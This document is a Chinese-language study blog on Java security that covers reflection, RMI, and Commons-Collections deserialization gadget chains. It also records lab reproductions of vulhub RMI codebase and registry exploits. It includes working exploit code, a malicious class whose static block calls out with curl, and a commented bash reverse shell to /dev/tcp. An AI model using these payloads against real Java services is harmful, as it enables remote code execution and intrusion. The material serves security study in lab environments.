Java安全学习笔记(一)

反射

Java中对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的方法可以调用,总之通过“反射”,我们可以将Java这种静态语言附加上动态特性。(P神的定义)

反射中几位重要的方法

  • 获取类的方法:forname
  • 实例化类对象的方法:newInstance
  • 获取函数的方法:getMethod
  • 执行函数的方法:invoke

获取类的三种方式

  • obj.getClass() 如果上下文中存在某个类的实例obj,那么我们可以直接通过obj.getClass()来获取它的类。

    1
    2
    3
    Runtime runtime = Runtime.getRuntime();
    System.out.println(runtime.getClass());
    // class java.lang.Runtime
  • Test.class 如果你已经加载了某个类,只是想获取到它的 java.lang.Class 对象,那么就直接 拿它的 class 属性即可。这个⽅法其实不属于反射。

  • Class.forName 如果你知道某个类的名字,想获取到这个类,就可以使⽤ forName 来获取

    1
    2
    3
    Class clazz = Class.forName("java.lang.Runtime");
    System.out.println(clazz);
    // class java.lang.Runtime

使用newInstance不成功的一些原因

  1. 你使用的类没有无参构造函数
  2. 你使用的类构造函数是私有的

案例

1
2
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "whoami");

会报错image-20211102162734720

原因是Runtime类的构造方法是私有的

可以这样

1
2
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "calc.exe");

getMethod的作用是通过反射获取一个类的特定的公有方法。

invoke的作用是执行方法,它的第一个参数是:

  • 如果这个方法是一个普通方法,那么第一个参数是类对象
  • 如果这个方法是一个静态方法,那么第一个参数是类

上述命令执行的payload可以分解为

1
2
3
4
5
Class clazz = Class.forName("java.lang.Runtime");
Method exec = clazz.getMethod("exec", String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);
exec.invoke(runtime, "calc.exe");

到这里P神提出了两个疑问

  • 如果一个类没有无参构造方法,也没有类似单例模式里的静态方法,我们怎样通过反射实例化该类 呢?
  • 如果一个方法或构造方法是私有方法,我们是否能执行它呢?

第一个问题的解决方式,需要用到一个新的放射方法getConstructor

和 getMethod 类似, getConstructor 接收的参数是构造函数列表类型,因为构造函数也支持重载, 所以必须用参数列表类型才能唯一确定一个构造函数。 获取到构造函数后,我们使用 newInstance 来执行。

ProcessBuilder有两个构造函数

  • public ProcessBuilder(List command)
  • public ProcessBuilder(String… command)

用第一种形式

主要传入List.class

1
2
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start();

利用反射的方式

1
2
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));

第二种形式

主要传入String[].class

1
2
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})).start();

反射的方式

1
2
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}}));

第二个问题:如果一个方法或构造方法是私有方法,我们是否能执行它呢?

解决方式是getDeclared系列的反射,它与普通的getMethodgetConstructor区别是:

  • getMethod 系列方法获取的是当前类中所有公共方法,包括从父类继承的方法
  • getDeclaredMethod 系列方法获取的是当前类中“声明”的方法,是实在写在这个类里的,包括私 有的方法,但从父类里继承来的就不包含了

实现代码

1
2
3
4
Class clazz = Class.forName("java.lang.Runtime");
Constructor exec = clazz.getDeclaredConstructor();
exec.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(exec.newInstance(), "calc.exe");

这里使用了一个方法 setAccessible ,这个是必须的。我们在获取到一个私有方法后,必须用 setAccessible 修改它的作用域,否则仍然不能调用。

RMI

RMI全称是Remote Method Invocation,远程方法调用。

RMI Server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package org.vulhub.RMI;

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RmiServer {


// interface继承自interface使用extends
// interface 代表这个类没有字段 全是方法
// ⼀个继承了 java.rmi.Remote 的接⼝ 其中定义了我们要调用的类
public interface IRemoteHelloWorld extends Remote {
// 这一句是什么意思?
public String hello() throws RemoteException;
}
// extends 继承关键字
// 使用 implements 关键字可以变相的使java具有多继承的特性
// throw和throws就是异常相关的关键字
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {

protected RemoteHelloWorld() throws RemoteException {
super();
}
// 定义我们要远程调⽤的函数
public String hello() throws RemoteException {
System.out.println("call from");
return "Hello world";
}
}
// ⼀个主类,⽤来创建Registry
private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}
public static void main(String[] args) throws Exception {
new RmiServer().start();
}
}

一个RMI Server分为三部分

  1. 一个继承了java.rmi.Remote的接口,其中定义我们要远程调用的函数,比如这里的hello()
  2. 一个实现了此接口的类
  3. 一个主类,用来创建Register,并将上面的类实例化后绑定到一个地址,这就是我们所谓的Server了。

RMI Client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.vulhub.Train;
import org.vulhub.RMI.RMIServer;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
public class TrainMain {
public static void main(String[] args) throws Exception {
// 使⽤ Naming.lookup 在Registry中寻找到名字是Hello的对象
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld)
Naming.lookup("rmi://172.20.10.1:1099/Hello");
String ret = hello.hello();
System.out.println( ret);
}
}

客户端就简单多了,使⽤ Naming.lookup 在Registry中寻找到名字是Hello的对象,后⾯的使⽤就和在 本地使⽤⼀样了。 虽说执⾏远程⽅法的时候代码是在远程服务器上执⾏的,但实际上我们还是需要知道有哪些⽅法,这时 候接⼝的重要性就体现了,这也是为什么我们前⾯要继承 Remote 并将我们需要调⽤的⽅法写在接⼝ IRemoteHelloWorld ⾥,因为客户端也需要⽤到这个接⼝。

一个RMI过程有以下三个参与者:

  • RMI Registey
  • RMI Server
  • RMI Client

如何攻击RMI Registry?

Java对远程访问RMI Registry做了限制,只有来源地址是localhost的时候,才能调用rebind、 bind、unbind等方法。 不过list和lookup方法可以远程调用。 list方法可以列出目标上所有绑定的对象:

1
2
3
4
5
// list方法可以列出目标上所有绑定的对象
String[] s = Naming.list("rmi://172.20.10.131:1099");
for (int i = 0; i < s.length; i++) {
System.out.println(s[i]);
}
1
2
3
4
// lookup作用就是获得某个远程对象
RmiServer.IRemoteHelloWorld hello = (RmiServer.IRemoteHelloWorld)Naming.lookup("rmi://172.20.10.131:1099/Hello");
String ret = hello.hello();
System.out.println( ret);

RMI利用codebase执行任意代码

有满足如下条件的RMI服务器才能被攻击:

复现代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// ICalc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
public Integer sum(List<Integer> params) throws RemoteException;
}

// Calc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.rmi.server.UnicastRemoteObject;
public class Calc extends UnicastRemoteObject implements ICalc {
public Calc() throws RemoteException {}
public Integer sum(List<Integer> params) throws RemoteException {
Integer sum = 0;
for (Integer param : params) {
sum += param;
}
return sum;
}
}

// RemoteRMIServer.java
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;
public class RemoteRMIServer {
private void start() throws Exception {
if (System.getSecurityManager() == null) {
System.out.println("setup SecurityManager");
System.setSecurityManager(new SecurityManager());
}
Calc h = new Calc();
LocateRegistry.createRegistry(1099);
Naming.rebind("refObj", h);
}
public static void main(String[] args) throws Exception {
new RemoteRMIServer().start();
}
}

// client.policy
grant {
permission java.security.AllPermission;
};

编译及运行

1
2
javac *.java
java -Djava.rmi.server.hostname=172.20.10.131 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy RemoteRMIServer

建立一个RMIClient.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;

public class RMIClient implements Serializable {
public class Payload extends ArrayList<Integer> {
}

public void lookup() throws Exception {
ICalc r = (ICalc)
Naming.lookup("rmi://172.20.10.131:1099/refObj");
List<Integer> li = new Payload();
li.add(3);
li.add(4);
System.out.println(r.sum(li));
}

public static void main(String[] args) throws Exception {
new RMIClient().lookup();
}
}

这个Client我们需要在另一个位置运行,因为我们需要让RMI Server在本地CLASSPATH里找不到类,才 会去加载codebase中的类,所以不能将RMIClient.java放在RMI Server所在的目录中。

运行RMIClient:

1
java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient

我们只需要编译一个恶意类,将其class文件放置在Web服务器的 /RMIClient$Payload.class 即可。

恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class RMIClient implements Serializable {

private static final long serialVersionUID = 1L;

static {
try{
Runtime.getRuntime().exec("touch /tmp/Success");
} catch (Exception e){
e.printStackTrace();
}
}

public class Payload extends ArrayList<Integer>
{}

public void lookup() throws Exception {
ICalc r = (ICalc)
Naming.lookup("rmi://172.20.10.131:1099/refObj");
List<Integer> li = new Payload();
li.add(3);
li.add(4);
System.out.println(r.sum(li)); }
public static void main(String[] args) throws Exception {
new RMIClient().lookup();
}
}

想知道原理,可以通过抓包来查看RMI做了什么,跟着P神文章做了一遍,通过wireshark抓包,抓到一些进行了序列化的数据,用GitHub - NickstaDB/SerializationDumper: A tool to dump Java serialization streams in a more human readable form. 工具查看序列化数据,但是看不懂。

反序列化

Java、php、Python反序列化有什么异同?

Java的反序列化和PHP的反序列化其实有点类似,他们都只能将一个对象中的属性按照某种特定的格式 生成一段数据流,在反序列化的时候再按照这个格式将属性拿回来,再赋值给新的对象。 但Java相对PHP序列化更深入的地方在于,其提供了更加高级、灵活地方法 writeObject ,允许开发者 在序列化流中插入一些自定义数据,进而在反序列化的时候能够使用 readObject 进行读取。 当然,PHP中也提供了一个魔术方法叫 __wakeup ,在反序列化的时候进行触发。很多人会认为Java的 readObject 和PHP的 __wakeup 类似,但其实不全对,虽然都是在反序列化的时候触发,但他们解决 的问题稍微有些差异。 Java设计 readObject 的思路和PHP的 __wakeup 不同点在于: readObject 倾向于解决“反序列化时如 何还原一个完整对象”这个问题,而PHP的 __wakeup 更倾向于解决“反序列化后如何初始化这个对象”的 问题。

PHP反序列化

Java反序列化

Python反序列化

ysoserial工具

https://github.com/frohoff/ysoserial

生成CommonsCollections利用poc

1
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "id"

URLDNS

URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不 是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。 虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时 使⽤:

  • 使⽤Java内置的类构造,对第三⽅库没有依赖
  • 在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

common-collections

poc1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package org.vulhub.Ser;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
// Transformer是⼀个接⼝,它只有⼀个待实现的⽅法
Transformer[] transformers = new Transformer[]{
// ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个
//对象,并在transform⽅法将这个对象再返回
// 所以他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作
new ConstantTransformer(Runtime.getRuntime()),
// InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序
//列化能执⾏任意代码的关键。
// 在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数
//是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc.exe"}),
};
// ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串
//在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊,
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
// TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可
//以执⾏⼀个回调。
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
// 触发执行Transformer回调
outerMap.put("test", "xxxx");
}
}

poc2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package org.vulhub.Ser;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections2 {
public static void main(String[] args) throws Exception {
// 反序列化 不能序列化Runtime 因为没有实现 java.io.Serializeable
// Method f = Runtime.class.getMethod("getRuntime");
// Runtime r = (Runtime) f.invoke(null);
// r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
// Transformer是⼀个接⼝,它只有⼀个待实现的⽅法
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new
Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new
Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"calc.exe" }),
};

// ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串
//在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊,
Transformer transformerChain = new
ChainedTransformer(transformers);

Map innerMap = new HashMap();
innerMap.put("test", "xxxx");
innerMap.put("value", "xxxx");
// TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可
//以执⾏⼀个回调。
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
// 触发执行Transformer回调
// outerMap.put("test", "xxxx");

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class, outerMap);

// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();

}

}

小结

看了URLDNScommon-collections这两条链子的利用和原理,利用倒是会了,原理确实是看不懂,也许是因为没有java相关的底子,我不知道是不是该继续看下去,因为确实挺费劲的,因为上次ctf题碰到java反序列化的题,做不起,所有才来学习java反序列化,但是java反序列化的坑很深,也并非一周两周就能够掌握,迷茫了。目前想法就是,找些环境来实践,先不管原理,先会利用起来,至少ctf中遇到能做得起。

Java RMI codebase 远程代码执行漏洞复现

复现步骤

https://vulhub.org/#/environments/java/rmi-codebase/

使用Docker拉取漏洞环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
root@VM-0-12-ubuntu:/home/ubuntu/vulhub-master/java/rmi-codebase# docker-compose build
/usr/local/lib/python2.7/dist-packages/paramiko/transport.py:33: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
from cryptography.hazmat.backends import default_backend
Building rmi
Step 1/9 : FROM openjdk:8u222-jdk
---> fcb6c0ce31f9
Step 2/9 : LABEL maintainer="phithon <root@leavesongs.com>"
---> Using cache
---> 68434cb7eb62
Step 3/9 : ENV RMIIP="127.0.0.1"
---> Using cache
---> 57428be9e0ea
Step 4/9 : COPY src/ /usr/src/
---> 0511fe1104fc
Step 5/9 : WORKDIR /usr/src
---> Running in 5bb6dbc8842c
Removing intermediate container 5bb6dbc8842c
---> 81322e0babb4
Step 6/9 : RUN set -ex && javac *.java
---> Running in 985d742f1604
+ javac Calc.java ICalc.java RemoteRMIServer.java
Removing intermediate container 985d742f1604
---> 679d43986c84
Step 7/9 : EXPOSE 1099
---> Running in 1601dc557ad0
Removing intermediate container 1601dc557ad0
---> e2d1bb14a7ab
Step 8/9 : EXPOSE 64000
---> Running in 62b7eb3c5aff
Removing intermediate container 62b7eb3c5aff
---> 9da81fd4e87c
Step 9/9 : CMD ["bash", "-c", "java -Djava.rmi.server.hostname=${RMIIP} -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy RemoteRMIServer"]
---> Running in a66f149ea8b5
Removing intermediate container a66f149ea8b5
---> d58e781c5c25
Successfully built d58e781c5c25
Successfully tagged rmi-codebase_rmi:latest

启动环境

1
docker-compose run -e RMIIP=your-ip -p 1099:1099 -p 64000:64000 rmi
1
2
3
4
root@VM-0-12-ubuntu:/home/ubuntu/vulhub-master/java/rmi-codebase# docker-compose run -e RMIIP=xx.xx.xx.xx -p 1099:1099 -p 64000:64000 rmi
/usr/local/lib/python2.7/dist-packages/paramiko/transport.py:33: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
from cryptography.hazmat.backends import default_backend
setup SecurityManager

因为是在云服务器上,执行反弹shell的话,无法反弹到本地主机,所以这里准备执行一条命令curl http://xx.xx.xx.xx:8000/exp 来验证命令是否被执行

首先构造一个恶意类

RMIClient.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class RMIClient implements Serializable {

private static final long serialVersionUID = 1L;

static {
try{
// Runtime.getRuntime().exec(new String[]{"bash","-c","bash -i >& /dev/tcp/172.20.10.1/4444 0>&1"});
Runtime.getRuntime().exec("curl xx.xx.xx.xx:8000/exp");
} catch (Exception e){
e.printStackTrace();
}
}

public class Payload extends ArrayList<Integer>
{}

public void lookup() throws Exception {
ICalc r = (ICalc)
Naming.lookup("rmi://xx.xx.xx.xx:1099/refObj");
List<Integer> li = new Payload();
li.add(3);
li.add(4);
System.out.println(r.sum(li)); }
public static void main(String[] args) throws Exception {
new RMIClient().lookup();
}
}
// xx.xx.xx.xx 替换成云服务器地址

编译

1
javac RMIClient.java

会得到两个文件RMIClient$Payload.classRMIClient.class

image-20211106120324693

然后将这两个文件上传至云服务器,用python3 -m http.server 启动一个http服务器进行监听。

1
2
3
4
ubuntu@VM-0-12-ubuntu:~/Temp$ ls
RMIClient.class 'RMIClient$Payload.class'
ubuntu@VM-0-12-ubuntu:~/Temp$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

之所以这样做是因为正常执行的时候,我们可以通过-Djava.rmi.server.codebase=http://xx.xx.xx.xx/控制codebase

而这个codebase有什么作用呢?

P神说的

既然这个Java系列的文章要尽量全面地梳理Java知识,我们不妨将时间线拉的久远一些……
曾经有段时间,Java是可以运行在浏览器中的,对,就是Applet这个奇葩。在使用Applet的时候通常需
要指定一个codebase属性,比如:

1
2
3
> <applet code="HelloWorld.class" codebase="Applets" width="800" height="600">
> </applet>
>

除了Applet,RMI中也存在远程加载的场景,也会涉及到codebase。

codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。

如果我们指定 codebase=http://example.com/ ,然后加载 org.vulhub.example.Example 类,则
Java虚拟机会下载这个文件 http://example.com/org/vulhub/example/Example.class ,并作为
Example类的字节码。

RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻
找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase中的类。

这个时候问题就来了,如果codebase被控制,我们不就可以加载恶意类了吗?

对,在RMI中,我们是可以将codebase随着序列化数据一起传输的,服务器在接收到这个数据后就会去
CLASSPATH和指定的codebase寻找类,由于codebase被控制导致任意命令执行漏洞。

接下来使用一个正常的客户端进行连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;

public class RMIClient implements Serializable {
public class Payload extends ArrayList<Integer> {
}

public void lookup() throws Exception {
ICalc r = (ICalc)
Naming.lookup("rmi://xx.xx.xx.xx:1099/refObj");
List<Integer> li = new Payload();
li.add(3);
li.add(4);
System.out.println(r.sum(li));
}

public static void main(String[] args) throws Exception {
new RMIClient().lookup();
}
}

先编译

1
2
javac RMIClient.java
java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient

这里的 http://example.com/ 就是刚刚python监听的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
F:\Code\JAVA\RMI2\src>javac RMIClient.java

F:\Code\JAVA\RMI2\src>java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://xx.xx.xx.xx:8000/ RMIClient
Exception in thread "main" java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:
java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:
java.io.InvalidClassException: RMIClient; local class incompatible: stream classdesc serialVersionUID = -2981438248522607595
, local class serialVersionUID = 1
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:389)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:573)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:748)
at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:275)
at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:252)
at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:161)
at java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod(RemoteObjectInvocationHandler.java:194)
at java.rmi.server.RemoteObjectInvocationHandler.invoke(RemoteObjectInvocationHandler.java:148)
at com.sun.proxy.$Proxy0.sum(Unknown Source)
at RMIClient.lookup(RMIClient.java:16)
at RMIClient.main(RMIClient.java:20)
Caused by: java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:
java.io.InvalidClassException: RMIClient; local class incompatible: stream classdesc serialVersionUID = -2981438248522607595
, local class serialVersionUID = 1
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:348)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:573)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:748)
Caused by: java.io.InvalidClassException: RMIClient; local class incompatible: stream classdesc serialVersionUID = -2981438248522607
595, local class serialVersionUID = 1
at java.io.ObjectStreamClass.initNonProxy(ObjectStreamClass.java:699)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1885)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1751)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2042)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573)
at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2287)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2211)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:431)
at sun.rmi.server.UnicastRef.unmarshalValue(UnicastRef.java:322)
at sun.rmi.server.UnicastServerRef.unmarshalParametersUnchecked(UnicastServerRef.java:629)
at sun.rmi.server.UnicastServerRef.unmarshalParameters(UnicastServerRef.java:617)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:338)
... 12 more

可以看到这里报了很多错误,但是没有关系,因为我们的命令已经成功执行。

看看刚刚python监听的日志

1
2
3
4
5
6
ubuntu@VM-0-12-ubuntu:~/Temp$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
121.4.65.44 - - [06/Nov/2021 12:11:43] "GET /RMIClient$Payload.class HTTP/1.1" 200 -
121.4.65.44 - - [06/Nov/2021 12:11:43] "GET /RMIClient.class HTTP/1.1" 200 -
121.4.65.44 - - [06/Nov/2021 12:11:43] code 404, message File not found
121.4.65.44 - - [06/Nov/2021 12:11:43] "GET /exp HTTP/1.1" 404 -

这里不仅读取了RMIClient$Payload.classRMIClient.class文件,还请求了/exp ,说明成功执行了命令。

复现完成。

以下复现主要学习ysoserial工具的使用

Java RMI Registry 反序列化漏洞(<=jdk8u111)

搭建环境

https://vulhub.org/#/environments/java/rmi-registry-bind-deserialization/

1
2
docker-compose build
docker-compose run -e RMIIP=your-ip -p 1099:1099 rmi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
root@VM-0-12-ubuntu:/home/ubuntu/vulhub-master/java/rmi-registry-bind-deserialization# docker-compose build
/usr/local/lib/python2.7/dist-packages/paramiko/transport.py:33: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
from cryptography.hazmat.backends import default_backend
Building rmi
Step 1/12 : FROM maven:3-jdk-8 AS builder
---> cf7c6bc6ea12
Step 2/12 : LABEL MAINTAINER="phithon <root@leavesongs.com>"
---> Using cache
---> 828f56e5b565
Step 3/12 : COPY ./src/code/ /usr/src/
---> Using cache
---> 004e82609029
Step 4/12 : WORKDIR /usr/src
---> Using cache
---> c9f14a7aef0f
Step 5/12 : RUN cd /usr/src; mvn -U clean package -Dmaven.test.skip=true --settings settings.xml
---> Using cache
---> 27cbdf63515c
Step 6/12 : FROM openjdk:8u111-jre
---> e44d62cf8862
Step 7/12 : WORKDIR /root
---> Using cache
---> 313347366d80
Step 8/12 : ENV RMIIP="127.0.0.1"
---> Using cache
---> 90e0b68b0433
Step 9/12 : COPY --from=builder /usr/src/target/train-1.0-SNAPSHOT-all.jar /root/train-1.0-SNAPSHOT-all.jar
---> Using cache
